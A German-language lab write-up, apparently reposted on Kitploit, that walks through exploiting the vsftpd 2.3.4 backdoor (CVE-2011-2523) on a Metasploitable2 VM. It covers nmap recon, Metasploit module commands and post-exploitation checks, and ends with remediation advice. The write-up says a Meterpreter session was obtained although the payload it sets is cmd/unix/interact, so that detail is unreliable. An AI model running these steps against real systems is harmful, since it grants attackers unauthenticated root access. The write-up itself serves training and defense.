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metasploitable2-vsftpd-writeup — Ausnutzen der Hintertür in vsftpd 2.3.4 (CVE-2011-2523) auf Metasploitable2 — ein praxisorientierter Pentesting-Laborbericht, der Recon, Ausnutzung und Behebung abdeckt. | Kitploit
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rsakthikumar-cmd/metasploitable2-vsftpd-writeup

metasploitable2-vsftpd-writeup

Ausnutzen der Hintertür in vsftpd 2.3.4 (CVE-2011-2523) auf Metasploitable2 — ein praxisorientierter Pentesting-Laborbericht, der Recon, Ausnutzung und Behebung abdeckt.

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vor 1 TagNoch nicht geprüft
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Metasploitable2 — Exploit des vsftpd-2.3.4-Backdoors

Ein praxisnahes Lab, das die Entdeckung und Ausnutzung einer bekannten Backdoor-Schwachstelle in vsftpd 2.3.4 in einer isolierten Kali-Linux-↔-Metasploitable2-Umgebung demonstriert.

Zielsetzung

Den zentralen Penetration-Testing-Workflow üben — Reconnaissance, Schwachstellenidentifikation, Exploitation und Post-Exploitation-Verifizierung — gegen eine absichtlich verwundbare Zielmaschine.

Laborumgebung

KomponenteDetails
AngreiferKali Linux 2026.1 (VMware)
ZielMetasploitable2 (VMware)
NetzwerkNAT, vom Host/Internet isoliert
Ziel-IP192.168.233.129

Beide VMs befanden sich im selben privaten Netzwerksegment, isoliert vom echten Netzwerk, um sicherzustellen, dass die Übung keinerlei externe Exposition hatte.

Methodik

1. Reconnaissance — Nmap-Scan

root@kitploit:~
nmap -sV -sC 192.168.233.129

Das Ziel wurde auf offene Ports und Dienstversionen gescannt. Die Ergebnisse umfassten:

root@kitploit:~
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
...

Nmap-Scan mit vsftpd 2.3.4

2. Schwachstellenidentifikation

Port 21 lief mit vsftpd 2.3.4. Diese spezifische Version ist öffentlich dafür bekannt, eine Backdoor zu enthalten: 2011 wurde das offizielle vsftpd-Quellarchiv kompromittiert und bösartiger Code eingefügt. Die Anmeldung mit einem Benutzernamen, der die Zeichenfolge :) enthält, löst einen versteckten Listener auf TCP-Port 6200 aus, der eine nicht authentifizierte Remote-Shell gewährt.

  • Referenz: CVE-2011-2523
  • Auswirkung: Nicht authentifizierte Remote-Codeausführung als Root

3. Exploitation — Metasploit

root@kitploit:~
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.233.129
set payload cmd/unix/interact
run

Der Exploit hat die Backdoor erfolgreich ausgelöst und eine Meterpreter-Sitzung zurückgegeben.

Metasploit-Exploit-Lauf mit geöffneter Meterpreter-Sitzung

4. Post-Exploitation-Verifizierung

root@kitploit:~
sessions -i 1
sysinfo
getuid

Aktive Sitzung und Zugriffsebene auf dem kompromittierten Host wurden bestätigt.

sysinfo-Ausgabe

getuid-Ausgabe mit Bestätigung des Root-Zugriffs

Ergebnis

Durch die Ausnutzung eines einzigen veralteten und mit einer Backdoor versehenen Dienstes wurde vollständiger Remote-Shell-Zugriff auf Root-Ebene auf der Zielmaschine erlangt — ohne jegliche Authentifizierung.

Grundursache

  • Veraltete Softwareversion (vsftpd 2.3.4), von der bekannt ist, dass sie an der Quelle kompromittiert wurde
  • Kein Prozess zur Erkennung oder zum Patchen einer bekannten verwundbaren Dienstversion

Behebung

  • vsftpd auf eine aktuelle, verifiziert saubere Version aktualisieren
  • Softwarepakete immer aus offiziellen/verifizierten Repositories mit Checksummen-Validierung herunterladen
  • Regelmäßige Schwachstellenscans implementieren, um veraltete Dienstversionen vor der Bereitstellung zu erkennen
  • Nicht benötigte exponierte Dienste (FTP) einschränken oder hinter zusätzliche Zugriffskontrollen stellen

Wichtigste Erkenntnis

Ein einziger veralteter Dienst mit einer bekannten, öffentlichen Schwachstelle reichte für eine vollständige Systemkompromittierung aus — ohne individuelle Exploit-Entwicklung oder fortgeschrittene Techniken. Dies verdeutlicht, warum Patch-Management und Versionshygiene grundlegend für eine reale Sicherheitslage sind.

Haftungsausschluss

Diese Übung wurde ausschließlich gegen Metasploitable2 durchgeführt, eine absichtlich verwundbare, für Sicherheitstrainings entwickelte virtuelle Maschine, innerhalb eines isolierten Labornetzwerks ohne Verbindung zu Produktionssystemen oder Infrastruktur Dritter.

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